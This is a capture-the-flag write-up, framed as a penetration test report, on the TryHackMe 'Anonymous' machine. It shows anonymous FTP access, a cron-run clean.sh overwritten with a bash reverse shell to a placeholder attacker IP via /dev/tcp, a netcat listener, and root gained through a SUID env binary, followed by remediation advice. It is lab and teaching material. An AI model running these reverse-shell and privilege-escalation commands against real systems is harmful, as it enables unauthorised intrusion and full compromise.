

Penetration Test Report: TryHackMe - Anonymous-CTF

1. Executive Summary

This report details the penetration testing process and findings for the TryHackMe machine **Anonymous**. The objective was to enumerate the system, gain initial access, and escalate privileges to root.

The initial attack vector involved exploiting an anonymous FTP login that exposed a writeable script directory. By identifying a scheduled task (cron job) that executed a bash script (`clean.sh`), a reverse shell payload was uploaded to replace the legitimate script. This provided an initial user shell. Privilege escalation was subsequently achieved by exploiting a misconfigured SUID bit on the `/usr/bin/env` binary, leading to full root compromise.

2. Target Information

- **Target IP:** 10.112.163.19
- **Operating System:** Ubuntu Linux
- **Hostname:** anonymous

3. Reconnaissance & Enumeration

3.1 Network Scanning (Nmap)

A port scan was conducted using Nmap to identify open ports and running services.

Command:

```
Bash
nmap -sC -sV -p- 10.112.163.19
```

Results Summary:

Port	State	Service	Version	Notes
21/tcp	Open	FTP	vsftpd 3.0.3	Anonymous login allowed. Writable <code>scripts</code> directory identified.

22/tcp	Open	SSH	OpenSSH 7.6p1	Ubuntu Linux. Protocol 2.0.
139/tcp	Open	SMB	Samba smbd 3.X - 4.X	Workgroup: WORKGROUP
445/tcp	Open	SMB	Samba smbd 4.7.6	Guest account allowed, message signing disabled.

3.2 Service Enumeration (FTP)

Based on the Nmap scan, the FTP service on port 21 allowed anonymous access and contained a highly suspicious directory.

1. Connected to the FTP server using the **anonymous** user and a blank password.
2. Discovered a directory named **scripts** with **drwxrwxrwx** (777) permissions, indicating it was fully writeable.
3. Navigated into the **scripts** directory and retrieved its contents, which included a bash script named **clean.sh**.

4. Initial Access (Exploitation)

4.1 Weaponizing **clean.sh**

The presence of **clean.sh** in a writeable directory suggested that the system might be executing this file automatically via a scheduled task (cron job). To test this theory and gain access, the script was modified locally to include a reverse shell payload.

Modified Payload (clean.sh**):**

```
Bash
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1
```

4.2 Establishing the Reverse Shell

1. A Netcat listener was started on the attacker machine to catch the incoming connection:
2. Bash

```
nc -lvnp 4444
```

- 3.

4. Using the active FTP session, the modified `clean.sh` was uploaded to the server, overwriting the original file:
5. Code snippet

```
put clean.sh
```

- 6.
7. After a short wait, the scheduled task executed the overwritten `clean.sh` script, triggering the reverse shell and granting access to the machine as a standard user.

User Flag Retrieved: `user.txt` successfully captured from the user's home directory.

5. Privilege Escalation

5.1 System Enumeration

With initial access established, standard enumeration was performed.

- Checked `/etc/passwd` and `/etc/shadow` directories for sensitive information.
- Searched for files with the SUID (Set Owner User ID) bit set to identify potential privilege escalation vectors.

5.2 Exploiting SUID on `env`

During enumeration, it was discovered that the `/usr/bin/env` binary had the SUID bit set, meaning it could be executed with the privileges of its owner (root).

According to GTFOBins, the `env` binary can be used to spawn a privileged shell if the SUID bit is set. The following command was executed:

Command:

```
Bash
/usr/bin/env /bin/sh -p
```

Result:

The `-p` flag preserved the privileged environment, successfully granting a root shell (`#`).

Root Flag Retrieved: Navigated to the `/root` directory and successfully captured `root.txt`.

6. Vulnerability Summary & Remediation

Vulnerability	Impact	Remediation Recommendation

Anonymous FTP Write Access	High - Allowed unauthorized users to overwrite executable scripts, leading to Remote Code Execution (RCE).	Disable anonymous access in the <code>vsftpd.conf</code> file (<code>anonymous_enable=NO</code>). Restrict write permissions on the <code>scripts</code> directory to the root user or the specific service account.
Insecure SUID Configuration	High - Allowed a low-privileged user to execute arbitrary commands as root.	Remove the SUID bit from <code>/usr/bin/env</code> . Run <code>chmod -s /usr/bin/env</code> to revoke elevated execution privileges. Regularly audit SUID/SGID binaries.